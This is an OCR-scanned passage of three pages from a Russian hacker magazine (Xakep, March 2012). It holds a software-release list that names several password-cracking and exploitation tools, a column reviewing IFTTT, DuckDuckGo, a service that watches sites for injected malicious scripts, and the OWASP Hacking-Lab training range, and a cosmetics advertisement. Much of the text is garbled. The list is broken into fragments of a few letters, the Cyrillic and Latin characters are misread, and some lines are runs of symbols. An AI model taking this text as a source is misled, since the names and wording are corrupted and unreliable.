
Box

20Fi

ash

2.1 а

Tunn

eiB

ear

Run

lens

0.0

2 So

cial

Eng

inee

r To

olki

t v2.

5 Fl

ashD

evel

op 4

.0.1

Tw

eetD

eck

5crib

us 1

.4.0

5p

amdy

ke 4

.3.1

G

eany

0.2

1 W

eFi 4

.0.1

.0

slow

moV

ideo

0.2

.5

5shg

uard

1.5

ha

Xe 2

.08

5MP

iaye

r 0.

6.10

ss

lyze

0.3

LI

NQ

Pad

4.31

>S

ecur

itl

5ync

Wal

l1.1

.0

5teg

nate

0.0

.1

Mon

goD

B 2

.0.2

A

nti-R

ever

sing

Fra

mew

ork

v1.1

lv

pvrd

3.3

.4

хса

0.9.

1 Pl

uTho

n 2.

0.0

85Q

L H

acke

r 0.

9.0.

9 X

ine-

lib 1

.2.0

Иc

'llpnWIIIOЩMIIrидno

Re5

harp

er 6

.1 C

hrom

e Pa

ssw

ord

Dec[Y

_Q.!.

Qr..1

d_

>Ser

ver

IIIOППMMryiKMTIIICIIMI

5ele

nium

IDE

1.6.

0 C

odeR

eloa

d >D

evel

Ap

ache

2.2

.21

MH

Tip

HIT

•Mit

iiM

MIJ

(

5Qlit

e 3.

7.1 О

DAVТesl1

.0

ART

0.9.

01

Asl

eris

k 1 0

.1.0

U

nigu

e 0.

25

QQ

gCb

Con

lrolle

d Va

rs 1

.3.1

BI

ND

9.8

.1-p

j Vi

sual

Par

adig

m f

or U

ML

8.3

DeЬi

aze

0.3

Eric

5.1

.8

CUP5

1.5

.0

Cam

mun

it:t E

ditio

n D

roid

Box

Fr

eegl

ut 2

.8.0

D

hcp

4.2.

3-р2

W

eb5t

orm

3.0

.1

Exp

loitM

yUni

on 2

.1 Fr

eeP

asca

l 2.6

.0

Dov

ecol

2.0

.17

Zend

5tu

dio

9 Fi

ddle

r 2.

3.8.

5 G

amba

s3 3

.0.0

Fr

eeR

ADIU

5 2.

1.12

Fi

ndB

ugs

2.0.

0 G

NU O

ctav

e 3.

6.0

lighl

lpd

1.4.

30

Five

Bel

ow

GТК 3

.3.1

0 Мy5QL 5

.5.2

0 gr

inde

r Jy

thon

2.5

.2

N50

3.2

.9

Hex

jecl

or 1

.0.7

.4

Late

ncyT

OP

0.5

Ope

nLD

AP 2

.4.2

8 H

stEx

3.7

lib

irccl

ient

1.6

Q

penV

PN 2

.2.2

Ja

vaSn

oog

1.1

mxG

raph

1.9

.0.2

P

ostfi

x 2.

8.7

Dug

licat

e C

omm

ande

r 2.

2 lo

adba

lanc

er-fi

nder

0.5

.1

Net

Bea

ns 7

.1

.!:Q

iliЮ

OL9.

1.2

150

Wor

ksho

p 2.1

lo

adba

lanc

er-fi

nder

v0.

5.1

РНР 5

.3.9

Li

on U

X Pa

ck 1

.0

Man

dian

l Red

line

1.0.

3 P

roje

ct'O

r R

IA 1

.9.1

>5

ysle

m

Madдpplauncher 1

.1 R

ainb

owC

rack

1.5

&

.Qor

tico

2.3.

1 Calculate-assemЬie 2

.2.2

7 N

exus

File

5.3

.1

Red

line

1.0.

3 R

udim

enls

0.3

5 C

oreu

tils

8.15

P

okki

R

IP5

0.51

U

ltim

ix 1

.5.1

77

fstra

nsfo

rm 0

.3.7

P

roce

ss B

lock

er О

. 7 b

ela

5cra

py 0

.14

wxP

ytho

n 2.

9.3.

1

lpt-n

etflo

w 1

.7.1

RE

D 2.

2 Sc

ylla

lm

port

s R

econ

stru

ctio

n LC

MC

1.2.

0 Ta

gged

Frog

1.1

0.5а

>N

et

Linu

x 3.

2.2

Und

oCio

se 1

,1 Se

ssio

nthi

ef

Blo

gilo

1.0

Lo

adba

rs 0

.4.0

Vo

lum

e Co

ncie

rge

5iku

li-X

1.0r

c3

Eisk

altD

C++

2.2

.5

ooba

sh 0

.39.

1 Sn

D R

ever

ser Т

ool

1.4

Fire

fox

9.0.

1 O

penN

ebul

a 3.

2.0

>Mul

timed

ia

~ze0

.3

Free

RD

P 1.

0.0

Ope

nNM

5 1.

8.17

-1

Cae

sium

1.4

.1

VERA

0.3

LA

N M

esse

nger

1.2

.16

Par

alle

l 201

2012

2 Co

lor

Des

ker

Win

Т ay

lor

2.5.

1 Le

echC

raf 0

.4. 9

5-57

8 R

aide

r 0.

9.2

Free

Aud

io E

dilo

r 20

11

Mas

gmai

l 0.3

.4

rxvt

-uni

code

9.1

5 Fr

ee V

ideo

Dub

2.0

.3

>S~stem

NTM

1.3

.1

syst

emd

v38

I.m..g

eGia

ss 1

.4

Ausl

ogic

s D

isk

Def

rag

3.3.

0.2

ownC

ioud

2.0

. 1

Use

rmin

1.5

80

IOG

raph

0.9

D

ataG

rab

1.2.

3 P

irate

Wa

ll 0.

2.1

Jouk

uu 1

.1.5

D

efra

ggle

r 2.

09.3

91

pylo

ad 0

.4.9

>X

-dis

tr

Koo

Bits

4.0

D

Finc

Bac

kup

2. 98

Q

upZi

lla 1

.1.0

РС-850 9

.0

Littl

e Pi

ano

1.0.

1 Ev

alaz

e 1.

1 R

550w

l 2.1

.2

Mot

ion

Man

H

isto

a 1/

iew

er 4

.8

5quidдnalyzer

4.2

Mus

eSco

re 1

.1

Kna

s R

esta

rter

2.0

Su

per FJ

exiЫ

e Fi

le S

ynch

roni

zer

»МАС

Mus

icB

ee 1

.3.4

334

MyD

efra

g 4.

3.1

5.61

A

dium

1.4

.4

5can

Т a

ilor

О. 9.

11

P-A

pps

1.0

Tixa

ti 1.

82

birt

hday

Boo

k 6.

0.6

5tea

lth P

laye

r 1.

0 Pu

ran

Def

rag

7.3

Win

dow

5w

ilch

0.12

.9

Box

er 1

.2.1

vi

ew3d

scen

e 3.

11.0

5p

eed

Up 5

hutd

own

ZMai

l 0.7

C

appu

ccin

o 1.

11

Win

dow

s 7

Logo

n Sc

reen

U

ltraD

efra

g 5.

0.2

Шll_

Twea

ker

1.5

U58

lmaq

e Т

ool 1

.58

>Securit~

iFile

X 1

.1.1

W

indo

ws

8 Lo

g Co

llect

or 1

.0.0

.6

binw

alk

v0.4

.1

iT w

eaX

3.0.

2 >N

et

BoN

e5i 0

.2.0

Li

meC

hal 2

.30

Alp

ine

2.0

crac

kerp

assw

ord

1.2.

1 M

edia

Т ub

e 1.

0 At

hTek

Net

Wal

k H

ome

Edi

tion

»UN

IX

Dro

idB

ox

Per

man

ent

Eras

er 2

.5.3

B

luel

oolh

5ta

ck 5

wilc

her

1.1

>Des

ktoe

Fi

ndB

ugs

2.0.

0 P

raat

5.3

.04

Dre

amM

ai14

.6.9

.0

Asu

nder

2.1

Fwkn

op P

orl K

nock

ing

Util

ity

Rai

dcal

l 2.0

е Т oo

lz 3.

4.8

Cin

nam

on 1

.1.3

2.

0rc5

Sh

adow

Kille

r 1.

3 FT

P 5c

hedu

ler

Clem

enlin

e 1.

0.0

grin

der

5kim

1.3

.19

Met

roTw

it C

onve

rsee

n 0.

4.8

ipl

gkd1

.10

~

Neo

Dow

nloa

der

2. 9

E

chin

us 0

.4. 9

LF

I Fu

zzpl

oil Т

ool

5pee

dT а о

bel

a 1

Rai

dCal

l 6.0

.8

Eina

0.1

4.0

load

bala

ncer

-find

er v

0.5.

1 Тf

tp5e

rver

3.4

.1

Reai

VNC

4.1

Hua

in 2

011.

4.0

NEТZOB 0

.3.1

TunneiЬiick

3.2.

3

Page 146: Xakep 03_2012

UNITS/WWW2

Triggers and Actions come from Channels. Channels are the unique services and devices you use every day. Some example channe!s:

All Channels

Связующее звенодля различных интернет-сервисов --......... " ...... о •

Q O.i7J112J\t0ПU4/r-~

bnckнn Nu...Ь.r Genefi\Of _...,, IIН!l_._ .... _~uu_,r.-

1!1 ltANDOM.ORG • Tru~~ Random Numl>« S..VП ~...,, ___ .__ .... _"'"'_'_.,_ =":.'..::~':.:z....-- .. --... ~--..-

w R.nclomnumЬ.r geNO"Ition - W.Iopedil.thl!ffн~ ·-----ь . .-..-pllpial-....._.,..,_ •.. ,._, .. __ .. "_,..Nt_..,,... .... lo. _ _ _

~~---., Ra........,Num~r ~IIOf&Ched<fi' · Psychk:Sdenl:e ­

:::::.,. ,--.,..,._---ь-.... ,.....,~----

nоисковикдля гиков с удобными фишками

Мониторинг сайта на появление подозрительных элементов

nесочница для хакера

IIВD ifttt .com Название сервиса представляет собой аббревиатуру IFТТТ: «i f this, then that»- <<если

это, тогда то ». Это блестящий инструмент, с nомощью которого можно связать между

собой популярные веб-nриложения: Gmail, ОгорЬох , Eveгnote, lnstapapeг, Facebook, Twitteг, lnstagгam, Fouгsquaгe и другие. К примеру, можно задать правило: если сме­

нилась а ватарка в Facebook, то использовать ее как аватар в Твиттере. Или другое: если завтра будет дождь. то предупредить меня no SMS. Если кто-то зафрендил меня в Твиттере, то отправить ему nриветствие в личном сообщении. Если в Gmail отмечено какое-то письмо, то создать заметку в Eveгnote. Если nоявилась новая запись в RSS­ленте, то отправить мне ее по e-mail . И так далее.

DUCKDUCKGO duckduckgo.com Если кратко, то это поисковик для гиков. Проект активно развивается с 2008 года и предоставляет несколько любопытных фишек. Во-первых , OuckOuckGo вообще не следит за пользователями и их запросами- по крайней мере, анонимность обе­

щают его создатели. Во-вторых, он поддерживает горячие клавиши, чтобы было удобно

пользоваться поиском даже с помощью одной только клавиатуры. В-третьих, п оль­

зователю предоставляется огромное количество так называемых goodies, позв оляю­щих прямо из пои ско вой строки вы пол нzть самые разные действия [арифметические вычисления и т.n .]. К тому же в OuckOuckGo практически отсутствует поисковый сn а м и реклама [во всяком случае, пока- когда nроект еще не очень nопулярен] .

llt!W+i&t•itl nazamok.com Прошли те времена, когда взлом мог ограничиться только дефейсом. Сейчас каждый

пытается извлечь для себя выгоду. Поэтом у на взломанном ресурсе тут же могут поя­

виться JavaScгipt и IFгame с вирусом или рекламой. Илидорвеи и фишинговые стра­

ницы . В кон це концов , скр ытые внешн ие ссылки, которые помогут какому-то ресурсу

нара стить ссылочную массу . Автоматизирован но проверять каждую страницу ресурса

на наличие подозрительных элементов по з воляют различные сервисы, один из них

- nazamok.com. Прое кт еще только стартует, поэтому во время бета-тестирования ты

можешь бесnлатно добавить nять сайтов с мониторингом 150 страниц nервого, второго

и третьего уровня . Пр оверка будет производиться раз в день, а уведомления отправ­

ляться на e-mail.

ЛАБОРАТОРИЯ ХАКЕРА www.hacking- lab.com Во многих статьях мы пишем фразу « исключительно в ознакомительных целя х» . Чтобы

nоnробовать полученные знания в деле, прокачивая свои навыки в области информаци­

онной безопасности, созданы специальные площадки . Здесь ты можешь эксnерименти­

ровать сколько влезет и при этом не нарваться на серьезные неприятности с законом.

В рамках проекта OWASP открылась так называемая лаборатория Hacking-Lab . Загрузив сnециальный дистрибутив [в виде LiveCO или образа для ViгtuaiBox], ты можешь устано­вить VРN-соединение со специальной инфраструктурой, где всем желающим предлага­

ется десять подготовленных nрофессионалами квестов. Проходя каждое из заданий, ты

зарабатываешь баллы,- получается своего рода соревнование для хакеров. Дерзай.

ХАКЕР 03/158/2012

Page 147: Xakep 03_2012
Page 148: Xakep 03_2012

-~ vv EFSR ~~;ЕнЕ~ РОШЕ _СОЗДАТЕЛЬ РАСТИТЕЛЬНОЙ КОСМЕТИКИ

ЭФФЕКТИВНОСТЬ ПРОТИВ ПРЫШЕЙ И БЕРЕЖНОЕ ОТНОШЕНИЕ К КОЖЕ

Исследователи Растительной Косметики Ив Раше обьединили

салициловую кислоту, обладающую антибактериальным эффектам и

способствующую обновлению кажи, для эффективного ваздействия на прыщи, и экстракт мякоти Алоэ Вера БИО, палу<ивший признание

благадаря своим васстанавливающим свойствам, для гарантии

оптимальной переносимости кожей.

Эффективность докозоно:

- Глубоко очищает кожу. -Устраняет черные точки.

- Предупреждает появление прыщей и черных точек.

Присоединяйтесь

www.yves-rocher.ru

Тел.: 8-800-3333-000 (звонок бесплотный!

Реклама. Товар сертифицирован. ( 1) Сомостоятельная оценка, тест но удовлетворенность продуктом, проведенный при участии 26 человек. * ФорУ~упо со;щона rюддерv.атолоrическиw. КОН'ГfЮпем Рексwендовоно Фf:юнцузскими дер-ютопоrами.

РЕКОМЕНДОВАНОl ~РМАТОЛОГАМИ.